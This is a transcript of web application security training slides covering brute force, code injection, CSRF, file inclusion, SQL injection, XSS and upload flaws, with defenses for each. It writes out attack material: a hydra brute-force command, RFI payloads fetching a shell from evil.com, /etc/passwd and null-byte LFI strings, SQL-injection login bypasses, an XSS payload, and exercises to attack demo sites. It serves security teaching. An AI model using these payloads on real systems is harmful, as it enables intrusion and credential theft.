websecurity-2/3
DESCRIPTION
my old training slides - basic web application security - 2/3TRANSCRIPT
Objective(s)
aid to better understand common exploitable vulnerabilities, how it been exploit, and reversely (re)develop a defensive mechanism securing web application deployed through best practice
Information Leakage & Improper Error Handling
Information LeakageApplication can unintentionally leak:
information about their configuration or internal workings
internal state via how long they take to process certain operations or via different responses to different inputs
information about their internal state through detailed or debug error messages
Information LeakageThis information can be leveraged to launch or even automate more powerful attacks
Possible information harvest:
Server (OS, version, ...)
Programming language (Language, version, ...)
Database (Oracle, MySQL, ...) - (Version, Schema, ...)
Debug/Error/Stacktraces - SQL Statement...
Information LeakageExercise: open http://demo.testfire.net
try to find as many as information possible
Information Leakage
Brute Force Attack
Brute Force Attacks
attempt to discover a password systematically
trying every possible combinations
until correct combination found
takes time - depend on password combination and complexity
Brute Force Attacks
brute force automation?
THC-Hydra
ultra fast network logon cracker
free - http://www.thc.org/thc-hydra/
Brute Force Attacks
brute force automation?
THC-Hydra supporting “cracks” for :AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
Blocking Brute Force Attack
Locking Accounts
after several number of failed attempts
last at specific duration
admin intervention to un-lock
not the best option - possibility of mass DOS
Blocking Brute Force Attack
do not use PREDICTABLE behavior
random fail/error messages
CAPTCHA after several failed attempt
second level password / secret question / OTP-SMS
combination of techniques
Blocking Brute Force Attack
The Best Solution :
Enforce Complex Password
Pass Phrase instead of Pass ‘word’
Brute Force Attackscommon password list?
http://contest-2010.korelogic.com/wordlist.html
http://dazzlepod.com/site_media/txt/passwords.txt
etc
Brute Force Attacksssh brute force:
Brute Force Attackshttp POST form brute force:
Brute Force AttacksExercise: http-post brute force attack
open: http://demo.testfire.net/
go to login page
view the html source
craft your “hydra” brute force attack
hydra -V -l admin -P passwd.dic example.com http-post-form "/login.php:login=^USER^&pass=^PASS^&Submit=Login:Login Failed"
Code Execution
Code Execution
ability to execute command(s)/code on a target machine or in a target process
inject and execute shell code / scripting code
ability to fully take control of the target machine
PHP/Code Injectionthis is silly, hopefully nobody doing it:
Shell/Code Injectionthis is silly, hopefully nobody doing it:
Code Injection Prevention
Never trust user input(s)
sanitize
htmlentities / htmlspecialchars
strip_tags
etc
Code Injection PreventionAvoid using system/exec/shell_exec if possible
have to, make sure you sanitize and validate user input:
Code Execution: Exercise
open: http://188.241.117.154/__dv__/
go to “Command Execution” menu
display /etc/passwd file
Cross Site Request Forgery - CSRF
Cross Site Request Forgeryalso known as “one click attack” or “session riding”
works by forces/tricks an end user to execute unwanted actions on a web application in which he/she is currently authenticated
by sending through social engineering such as sending link via email/chat/etc
can compromised end user data/operation and even the entire web application
Cross Site Request Forgeryever see a link like this:
Cross Site Request Forgeryand the actual facts “id” are in sequence:
Cross Site Request Forgery
session validation user validation
0 0
0 1
1 0
1 1
Cross Site Request ForgeryCase 1: in some if not most cases, there is NO:
session checking for authenticated user
no validation of authorized user
authorized to delete your own “POST”, but
knowing the “id” sequence number anybody can delete random “POST” of a random “user”
NOT CSRF
Cross Site Request ForgeryCase 2: do things the right way, but no CSRF protection
session checking for authenticated user
validate as authorized user
Cross Site Request ForgeryCase 2: do things the right way, but no CSRF protection
Bro check this out, Rainbow ABC
Cross Site Request ForgeryPOST method will not save you ... !!!
Click for More
Cross Site Request ForgeryPOST method will not save you ... !!!
Cross Site Request ForgeryPOST method will not save you ... !!!
Cross Site Request ForgeryFamous CSRF attacks....
INGDirect.comable to transfer funds out of user bank account...
YouTube.comadded video to a user’s “Favourites”, flagged videos as in appropriate, etc....
SOURCE: https://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks/
etc
Cross Site Request Forgery
CSRF Preventions - user level
can mitigate CSRF risks by:
logging out
don’t “Remember Me”
Cross Site Request Forgery
CSRF Preventions - web sites countermeasures
CSRF token in all forms
limiting lifetime of sessions cookies
Cross Site Request ForgeryCSRF token - using (PHP) noCSRF class
// Tokens are stored in session so you // have to initialize session datasession_start();// Then include the NoCSRF classrequire_once('nocsrf.php');
// Generate CSRF token to use in form hidden field$token = NoCSRF::generate( 'csrf_token' );
<form name="csrf_form" action="#" method="post"> <input type="hidden" name="csrf_token" value="<?php echo $token; ?>"> ...Other form inputs... <input type="submit" value="Send form"></form>
SOURCE: https://github.com/BKcore/NoCSRF
Cross Site Request ForgeryCSRF token - using (PHP) noCSRF class
try{ // Run CSRF check, on POST data, in exception mode, // with a validity of 10 minutes, in one-time mode. NoCSRF::check( 'csrf_token', $_POST, true, 60*10, false ); // form parsing, DB inserts, etc.}catch ( Exception $e ){ // CSRF attack detected // discard request}
File Inclusion Exploit
File Inclusion Exploit
Local/Remote File Inclusion
it allows attacker to include local/remote file
possible because of user-supplied input without proper validation
File Inclusion ExploitLocal/Remote File Inclusion can lead to
code execution on the web server
code execution on the client side through javascript and can lead to another attacks such as XSS - Cross Site Scripting
Denial of Service (DoS)
Data Theft/Manipulation
File Inclusion ExploitLFI/RFI Examples:
// This is obviously bad.. !//<?php if (isset( $_GET['page'] )){ include( $_GET['page'] ); }?>
<form method="get"> <select name="page"> <option value="news.php">Latest News</option> <option value="research.php">Research</option> </select> <input type="submit"></form>
File Inclusion ExploitLFI/RFI Examples:
Remote File Inclusion (RFI):
/vulnCode.php?page=http://evil.com/shell.php
Local File Inclusion (LFI):
/vulnCode.php?page=/etc/passwd
File Inclusion ExploitLFI/RFI Examples:
// How about appending with “.php” //<?php if (isset( $_GET['page'] )){ include( $_GET['page'] . ”.php” ); }?>
<form method="get"> <select name="page"> <option value="news">Latest News</option> <option value="research">Research</option> </select> <input type="submit"></form>
File Inclusion ExploitLFI/RFI Examples:
Remote File Inclusion (RFI):
/vulnCode.php?page=http://evil.com/shell.php?
Local File Inclusion (LFI):
/vulnCode.php?page=/tmp/phpcode
/vulnCode.php?page=/etc/passwd%00Null-B
yte Character
“?” cause “.php” considered as URI
File Inclusion Exploit
Exercise:
open: http://188.241.117.154/__dv__/
Null Byte Injection%00
Null-Byte InjectionURL/WEB presentation as - %00
termination character / terminator
alter the intended logic of the application// How about appending with “.php” //<?php if (isset( $_GET['page'] )){ include( $_GET['page'] . ”.php” ); }?>
// http://www.example.com/vulnCode.php?page=/etc/passwd%00.php
Solution for Null-Byte/LFI/RFIinput VALIDATION eg: by using whitelist array
Null-Byte Injection
Exercise: Open: http://demo.testfire.net
file boot.ini located in root directory, by using null byte injection try to find a way to load the file
SQL Injection
SQL Injection
means - tricking an application into including unintended SQL commands in the data sent to a backend interpreter
backend interpreter take strings and interpret them as commands
SQL Injectionoccurs when user input is not filtered for escape characters
manipulation of SQL statements
no sanitization of user input
no type casting
not using proper method in query
placeholder
SQL InjectionTypical Impact
spy out or manipulate data
manipulate the DB server or access underlying OS
bypass authentication or gain admin privileges
Correlation with information leakage
attackers use error messages or codes to verify the success of an attack and gather informations
SQL Injection
http://example.com/news.php?newsID=’ OR ‘1’=’1’ --%20
SELECT * FROM users WHERE name = '' OR '1'='1' -- '
http://example.com/news.php?newsID=’ OR 1=1 --%20
SELECT * FROM users WHERE name = '' OR 1=1 -- '
SQL InjectionBypass Authentication
admin’ --
admin’ #
admin’ /*
‘ or 1=1 --
‘ or 1=1 #
‘ or 1=1 /*
by using placeholder method in SQL statement
SQL Injection
SQL Injection: Exercise
Open: http://demo.testfire.net
Task 1: Attempt to login without proper user credentials
Task 2: Read all user account names and password from database
given the table name is “users” and the fields are: userid, username & password
XSSCross Site Scripting
Cross Site Scriptingtypical vulnerability found in web application
enable to inject client-side script in web pages viewed
mainly because of not safely sanitizing/validating user input
two main types
non persistent XSS / reflected
persistent XSS / stored
non persistent XSS example:
Cross Site Scripting
// successfully attack by simple embed XSS attack in URI// index.php?name=guest<script>alert('attacked')</script>
Cross Site ScriptingXSS Preventions:
Data validation
<?php
// validate a US phone numberif (preg_match('/^((1-)?\d{3}-)\d{3}-\d{4}$/', $phone)) {
echo $phone . " is valid format.";
}
Cross Site ScriptingXSS Preventions:
Data sanitzation
<?php
// sanitize HTML from the comment3$comment = strip_tags($_POST["comment"]);
?>
Cross Site ScriptingXSS Preventions:
Output Escaping
<?php
// escape output sent to the browserecho "You searched for: " . htmlspecialchars($_GET["query"]);
?>
Cross Site ScriptingXSS Preventions:
URL-Encode URL Query String Parameters
<?php
// URL Encode query string parametersecho "<a href=’http://example.com/?name=”.urlencode($name).”’>”;
?>
Cross Site Scripting: Exercise
Open: http://demo.testfire.net
Task 1: Find XSS from the page
Task 2: display value of amSessionId from page/site cookie
File Upload
File Uploadallowing a user to upload a file in a website:
potentially opening a “door” for attacks/exploits
without validations and protections:
user can upload a server side script / shell code
possibility totally pawned the server easily
File UploadFile Upload to Document root without validation
malicious user can access directly uploaded file through URL
putting the server totally vulnerable and open to possibility of total compromised
File UploadSample exploitable file upload
// upload to document root / no validation / accessible via URL//<?php$target_path = "uploads/";$target_path = $target_path . basename($_FILES['uploadedfile']['name']);if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {echo "There was an error uploading the file, please try again!";
}?>
File Upload - PreventionsMime Type Validation ?
a common mistake
eg: PHP $_FILES[‘uploadfile’][‘type’]
provided by the browser the user using
easily fake - by using automation tools / scripts /etc
File Upload - PreventionsBlock dangerous extensions / allow images extension only?
denied file upload other than image file extensions - jpg/png/gif/etc
quite a big list of extensions
possibility overridden by .htaccess file
AddType application/x-httpd-php .jpg
File Upload - PreventionsBlock dangerous extensions - NO “.php” extension?
file with additional/double extensions
evilCode.php.fr - language extension file
executed as PHP by apache
File Upload - PreventionsBlock dangerous extensions - NO “.php” extension?
file with additional/double extensions
if you are using AddHandler directive in apache:
evilCode.php.jpg - will be executed as PHP script
AddHandler php5-script .php
File Upload - PreventionsClient-Side validation?
client side validation such as javascript can be edited/disabled online on the fly using browser tools:
such as javascript console
by using chrome inspect element, you can directly edit any part related on the fly
attacker can develop custom script to upload file
File Upload - Solutionby using .htaccess in your upload folder
set:
set the ownership to root/superuser and only readable by others (apache/nobody) - 022 mask
php_flag engine off
File Upload - Solutionby using Directory directive in your httpd configuration
set:
<Directory /var/www/html/uploads> php_flag engine off</directory>
Resources Location Prediction
when everything else fails...
Resources Predictionscan web server using predicted list of common files/folders/CGIs
outdated vulnerable server software
directories listing / traversal
etc
Resources Predictionnikto - perl web scanner script
Social Engineering Attack
https://www.facebook.com/notes/facebook-security/national-cybersecurity-awareness-month-updates/10150335022240766
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)
https://www.facebook.com/notes/facebook-security/national-cybersecurity-awareness-month-updates/10150335022240766
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)
choose a target - simply by knowing their email / username / phone num / fullname - (Forgot your password)
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)
Reset Password: two choices - email & sms
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)
but!!! - “No longer have access to these?”
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)
“I Cannot Access My Email”
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)
“sometime” you will be prompted with this:
TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)